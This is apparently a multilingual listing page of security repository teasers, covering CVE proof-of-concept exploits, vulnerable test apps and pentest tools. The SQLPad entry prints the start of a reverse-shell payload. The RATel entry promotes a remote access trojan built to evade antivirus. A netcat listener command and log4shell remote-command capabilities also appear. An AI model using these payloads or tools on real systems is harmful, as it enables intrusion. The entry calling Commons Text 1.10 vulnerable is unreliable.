CVE2022-1388_TestAPI

CVE2022-1388TestAPI Тестовое API для проверки POC против CVE-2022-1388 Для запуска с хоста. root@kitploit: pip install -r requirements.txt uvicorn main:app --reload Для запуска через Docker. root@kitploit: make build make run...

CVE-2022-0944

CVE-2022-0944 PoC PoC для RCE в SQLPad. Этот пример запускает обратную оболочку, но полезную нагрузку можно изменить для выполнения любой доступной команды, изменив команду в вызове 'exec' внутри полезной нагрузки. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...

docker-cve-2016-2107

docker-cve-2016-2107 Conteneur Docker implémentant des tests pour CVE-2016-2107 - LuckyNegative20 À propos Test dockerisé pour CVE-2016-2107. Code écrit par Filippo Valsorda: GitHub zero to decryption blog expliquant la vulnérabilité test en ligne CVE-2016-2107 Mise à jour La version actuelle...

distributed-system-testing

Навыки тестирования распределённых систем Два навыка для ИИ-агентов, которые пишут код и занимаются тестированием распределённых и stateful-систем, управляемым утверждениями продукта claim-driven. Вместе они создают структурированный Markdown-план тестов и отчёт о результатах с вердиктами из 10...

bugtest

bugtest CVE-2025-43529 Test...

jndi-ldap-test-server

jndi-ldap-test-server Это минималистичный LDAP-сервер, предназначенный для проверки уязвимости к JNDI+LDAP инъекционным атакам в Java, особенно к CVE-2021-44228. Как проверить уязвимость к CVE-2021-44228 1. Скачайте бинарный файл тестового сервера для вашей платформы все бинарные файлы можно найт...

RATel

RATel Veuillez ne pas télécharger sur virustotal ! Pour éviter que RATel ne soit détecté par les antivirus, veuillez ne pas télécharger le payload sur TOTAL VIRUS. Chaque mois, je testerai moi-même si le payload est détecté par les antivirus. Ainsi, vous aurez une photo chaque mois pour prouver l...

CVE-2024-3656

Keycloak 24.0.5 est vulnérable à une faille de Contrôle d'accès défaillant, où un attaquant peut utiliser n’importe quel utilisateur authentifié pour effectuer certaines actions API telles que : Tester les connexions LDAP via le point de terminaison testLDAPConnection. Récupérer les attributs non...

CVE-2023-33107

작성 글 https://keto0422.github.io/2026/02/11/cve-writeup/ 테스트 영상 https://github.com/user-attachments/assets/1e2d1757-2fff-4cf8-a48d-bb6e2d4f5994...

CVE-2021-44228-log4Shell

CVE-2021-44228-log4Shell 익스플로잇 익스플로잇 테스트 google.com에 ping을 실행합니다 모든 명령 실행 가능 OS 이름, 버전 및 아키텍처를 출력합니다 OS 및 사용자에 대한 세부 정보 수집 원격 머신에서 계산기를 엽니다 모든 실행 파일 실행 가능 이 README.md를 github에서 다운로드합니다 ExploitTest 실행 root@kitploit: java ExploitTest 샘플 log4shell 링크 https://log4shell.huntress.com/...

pentest-guide

Guide de test d'intrusion basé sur l'OWASP + Extra Ce guide est destiné aux testeurs d'intrusion recherchant les cas de test appropriés nécessaires lors d'un projet de test d'intrusion. J'ai réorganisé le Guide de test OWASP v4 de mon point de vue en incluant 9 classes de test et chaque classe...

CVE-2023-36025

CVE-2023-36025 Test simple pour CVE-2023-36025, basé sur le PoC démontré dans https://twitter.com/wdormann/status/1725148437115473947 Ce code n'est pas conçu pour être exécuté directement – le fichier ZIP doit être hébergé sur un serveur que vous possédez, et être accessible depuis la machine...

CVE-2017-12542

CVE-2017-12542 Test et exploit pour CVE-2017-12542...

Fix-CVE-2017-1000117

Тестовый репозиторий для проверки уязвимости Git CVE-2017-1000117, и попробуйте обновить версию git. root@kitploit: $ git clone --recursive https://github.com/shogo82148/Fix-CVE-2017-1000117.git Репозиторий вдохновлён https://github.com/greymd/CVE-2017-1000117. Чтобы убедиться, что ваш git в...

Integer-Overflow-test

В этом репозитории нет README...

CVE-2017-1000117_wasawasa

Тестовый репозиторий для проверки уязвимости Git CVE-2017-1000117 Как это работает? Клонируйте этот репозиторий рекурсивно. root@kitploit: $ git clone --recursive https://github.com/sasairc/CVE-2017-1000117wasawasa.git Оригинал greymd/CVE-2017-1000117...

WindowsProtocolTestSuites

Windows Protocol Test Suites Windows Protocol Test Suites provide interoperability testing against the implementation of Windows open specifications including File Services, Identity Management, Remote Desktop and etc. Originally developed for in-house testing of the Microsoft Open Specifications...

CVE-2022-42889

Тестовое приложение CVE-2022-42889 Этот репозиторий содержит простое приложение, использующее Apache Commons Text 1.9, которое уязвимо к CVE-2022-42889. Запуск приложения Соберите и запустите приложение через docker: root@kitploit: docker build . -t vulnerable-app docker run vulnerable-app...

vuln_spring_log4j2

vulnspringlog4j2 Уязвимое Spring-приложение для тестирования log4j2 CVE-2021-44228 Версия Java: 1.8 Версия Spring Boot: 2.4.0 Версия Spring Core: 5.3.1 Версия Log4j: 2.13.3 Burp Лог...

CVE-2022-42889

CVE-2022-42889 테스트 애플리케이션 이 저장소는 CVE-2022-42889에 취약한 Apache Commons Text 1.10을 사용하는 간단한 애플리케이션을 포함합니다. 애플리케이션 실행 DemoApplication.java의 nc 명령을 호스트 IP 주소로 바꾸세요. netcat으로 수신 대기: root@kitploit: $ nc -l -p 30000 취약한 도커 코드 빌드 및 실행 root@kitploit: docker build . -t vulnerable-app docker run vulnerable-ap...